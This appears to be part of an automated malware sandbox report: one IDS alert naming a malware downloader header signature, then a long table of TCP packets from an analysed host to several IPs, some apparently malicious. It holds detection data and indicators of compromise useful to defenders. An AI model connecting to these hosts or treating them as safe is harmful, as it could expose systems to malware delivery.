2024-11-26T01:43:10.729124+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50137	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 26, 2024 01:41:03.517409086 CET	443	49713	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:03.517432928 CET	443	49713	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:03.517446041 CET	443	49713	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:03.517457962 CET	443	49713	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:03.517613888 CET	49713	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:03.522932053 CET	49713	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:03.642851114 CET	443	49713	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:03.665101051 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:03.665205956 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:03.665215969 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:03.665227890 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:03.665271997 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:03.665373087 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:03.665384054 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:03.665405989 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:03.665419102 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:03.673672915 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:03.673737049 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:03.673785925 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:03.681997061 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:03.682121038 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:03.682182074 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:03.690376043 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:03.735292912 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:04.077637911 CET	443	49713	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:04.078967094 CET	49713	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:04.079155922 CET	49713	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:04.079257965 CET	49713	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:04.199095964 CET	443	49713	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:04.199117899 CET	443	49713	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:04.199126959 CET	443	49713	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:04.632733107 CET	443	49713	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:04.672852039 CET	49713	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:04.867001057 CET	443	49713	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:04.922771931 CET	49713	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:05.079977036 CET	443	49713	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:05.083372116 CET	49713	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:05.203670025 CET	443	49713	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:05.360344887 CET	49674	443	192.168.2.6	173.222.162.64
Nov 26, 2024 01:41:05.548022032 CET	49673	443	192.168.2.6	173.222.162.64
Nov 26, 2024 01:41:05.637123108 CET	443	49713	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:05.688371897 CET	49713	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:05.704046965 CET	49672	443	192.168.2.6	173.222.162.64
Nov 26, 2024 01:41:07.330387115 CET	49714	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:07.330447912 CET	443	49714	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:07.330518961 CET	49714	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:07.331170082 CET	49714	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:07.331183910 CET	443	49714	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:09.683861017 CET	443	49714	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:09.684087038 CET	49714	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:09.688195944 CET	49714	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:09.688211918 CET	443	49714	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:09.688611984 CET	443	49714	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:09.690216064 CET	49714	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:09.690304041 CET	49714	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:09.690310955 CET	443	49714	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:09.690459967 CET	49714	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:09.731372118 CET	443	49714	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:10.374814034 CET	443	49714	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:10.375010967 CET	443	49714	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:10.375091076 CET	49714	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:10.384310961 CET	49714	443	192.168.2.6	20.198.119.84
Nov 26, 2024 01:41:10.384352922 CET	443	49714	20.198.119.84	192.168.2.6
Nov 26, 2024 01:41:11.239634037 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:11.360280037 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:11.360375881 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:11.361737013 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:11.480349064 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:11.480401993 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:11.480959892 CET	49716	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:11.481014013 CET	443	49716	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:11.481157064 CET	49716	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:11.481327057 CET	49716	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:11.481338024 CET	443	49716	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:11.481620073 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:11.488193989 CET	49717	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:11.488241911 CET	443	49717	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:11.488320112 CET	49717	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:11.488481045 CET	49717	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:11.488497019 CET	443	49717	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:11.600541115 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:11.600553036 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:11.600559950 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:11.600568056 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:11.600616932 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:12.132510900 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:12.132539988 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:12.132606030 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:12.134790897 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:12.134898901 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:12.134944916 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:12.143199921 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:12.143306971 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:12.143353939 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:12.151563883 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:12.151679039 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:12.151731014 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:12.159975052 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:12.160082102 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:12.160135031 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:12.168312073 CET	443	49712	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:12.219619989 CET	49712	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:12.543786049 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:12.543824911 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:12.543903112 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:12.548883915 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:12.548907042 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:12.694571018 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:12.694610119 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:12.694689035 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:12.695249081 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:12.695264101 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:12.748859882 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:12.748970985 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:12.764504910 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:12.884445906 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:13.233829975 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:13.235873938 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:13.339379072 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:13.346532106 CET	443	49716	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:13.346613884 CET	49716	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:13.380882025 CET	443	49717	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:13.380986929 CET	49717	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:13.459279060 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:13.543910980 CET	49716	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:13.543934107 CET	443	49716	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:13.544413090 CET	443	49716	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:13.544898033 CET	49716	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:13.544945002 CET	49716	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:13.544970989 CET	443	49716	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:13.545239925 CET	49717	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:13.545286894 CET	443	49717	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:13.545927048 CET	443	49717	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:13.546319008 CET	49717	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:13.546375990 CET	49717	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:13.546411991 CET	443	49717	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:13.793140888 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:13.793220043 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:13.793222904 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:13.793287992 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:13.994297028 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:13.994385958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:13.995964050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:14.115788937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:14.281241894 CET	443	49717	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:14.281264067 CET	443	49717	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:14.281296015 CET	443	49717	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:14.281352043 CET	443	49717	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:14.281373024 CET	49717	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:14.281446934 CET	49717	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:14.281821012 CET	49717	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:14.281887054 CET	443	49717	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:14.281924009 CET	49717	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:14.281943083 CET	443	49717	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:14.302623034 CET	49720	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:14.302655935 CET	443	49720	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:14.302731037 CET	49720	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:14.303319931 CET	49720	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:14.303337097 CET	443	49720	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:14.355663061 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:14.355745077 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:14.406169891 CET	443	49716	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:14.406229019 CET	443	49716	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:14.406267881 CET	443	49716	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:14.406332970 CET	49716	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:14.406352997 CET	443	49716	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:14.406366110 CET	49716	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:14.406711102 CET	49716	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:14.406728029 CET	49716	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:14.407221079 CET	443	49716	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:14.407305002 CET	443	49716	40.126.53.17	192.168.2.6
Nov 26, 2024 01:41:14.407356977 CET	49716	443	192.168.2.6	40.126.53.17
Nov 26, 2024 01:41:14.434112072 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:14.434144020 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:14.434237003 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:14.436575890 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:14.436592102 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:14.450062990 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:14.450145006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:14.450180054 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:14.450198889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:14.450279951 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:14.450325012 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:14.450337887 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:14.450349092 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:14.450370073 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:14.450432062 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:14.457257032 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:14.457276106 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:14.457675934 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:14.457739115 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:14.458695889 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:14.458748102 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:14.460374117 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:14.464387894 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:14.464437008 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:14.545753956 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:14.545845032 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:14.547758102 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:14.547770023 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:14.548055887 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:14.557571888 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:14.580224037 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:14.603363037 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:14.913899899 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:14.913964987 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:14.932699919 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:14.932775021 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:14.969623089 CET	49674	443	192.168.2.6	173.222.162.64
Nov 26, 2024 01:41:15.040954113 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:15.040980101 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:15.041027069 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:15.041038036 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:15.041062117 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:15.041068077 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:15.041110992 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:15.041110992 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:15.046461105 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.046492100 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.046511889 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.046570063 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.046588898 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.046637058 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.052741051 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:15.052886963 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:15.052896023 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:15.052958012 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:15.052967072 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:15.053077936 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:15.053085089 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:15.157150984 CET	49673	443	192.168.2.6	173.222.162.64
Nov 26, 2024 01:41:15.214715958 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:15.214802027 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:15.214862108 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:15.214879990 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:15.215035915 CET	49718	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:15.215049982 CET	443	49718	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:15.235424995 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.235456944 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.235505104 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.235517025 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.235548973 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.235573053 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.313386917 CET	49672	443	192.168.2.6	173.222.162.64
Nov 26, 2024 01:41:15.320434093 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.320450068 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.320508957 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.320519924 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.320576906 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.320576906 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.427484989 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.427509069 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.427565098 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.427586079 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.427618027 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.427644014 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.460479975 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.460505009 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.460549116 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.460557938 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.460603952 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.460624933 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.481795073 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.481816053 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.481887102 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.481899977 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.481942892 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.500350952 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.500370979 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.500428915 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.500438929 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.500477076 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.500495911 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.630369902 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.630390882 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.630445957 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.630455971 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.630521059 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.646054983 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.646075964 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.646164894 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.646174908 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.646224022 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.661472082 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.661489010 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.661546946 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.661554098 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.661617994 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.677016973 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.677037001 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.677090883 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.677097082 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.677134037 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.677161932 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.690423012 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.690449953 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.690521002 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.690529108 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.690567017 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.692637920 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.692692041 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.692770004 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.692869902 CET	49719	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.692883968 CET	443	49719	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.750009060 CET	49722	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.750065088 CET	443	49722	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.750155926 CET	49722	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.752022028 CET	49723	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.752058029 CET	443	49723	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.752280951 CET	49723	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.752804041 CET	49724	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.752824068 CET	443	49724	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.752947092 CET	49724	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.754776955 CET	49725	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.754806995 CET	443	49725	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.754858017 CET	49725	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.755436897 CET	49726	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.755445004 CET	443	49726	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.755544901 CET	49726	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.755754948 CET	49726	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.755770922 CET	443	49726	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.755847931 CET	49725	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.755863905 CET	443	49725	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.756035089 CET	49722	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.756048918 CET	443	49722	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.760931015 CET	49723	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.760946989 CET	443	49723	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.763575077 CET	49724	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:15.763586998 CET	443	49724	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:15.927083015 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:15.927841902 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:16.036284924 CET	443	49720	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:16.036374092 CET	49720	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:16.298125982 CET	443	49721	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:16.298234940 CET	49721	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:16.480545044 CET	49720	443	192.168.2.6	20.223.36.55
Nov 26, 2024 01:41:16.480572939 CET	443	49720	20.223.36.55	192.168.2.6
Nov 26, 2024 01:41:16.480870008 CET	443	49720	20.223.36.55	192.168.2.6
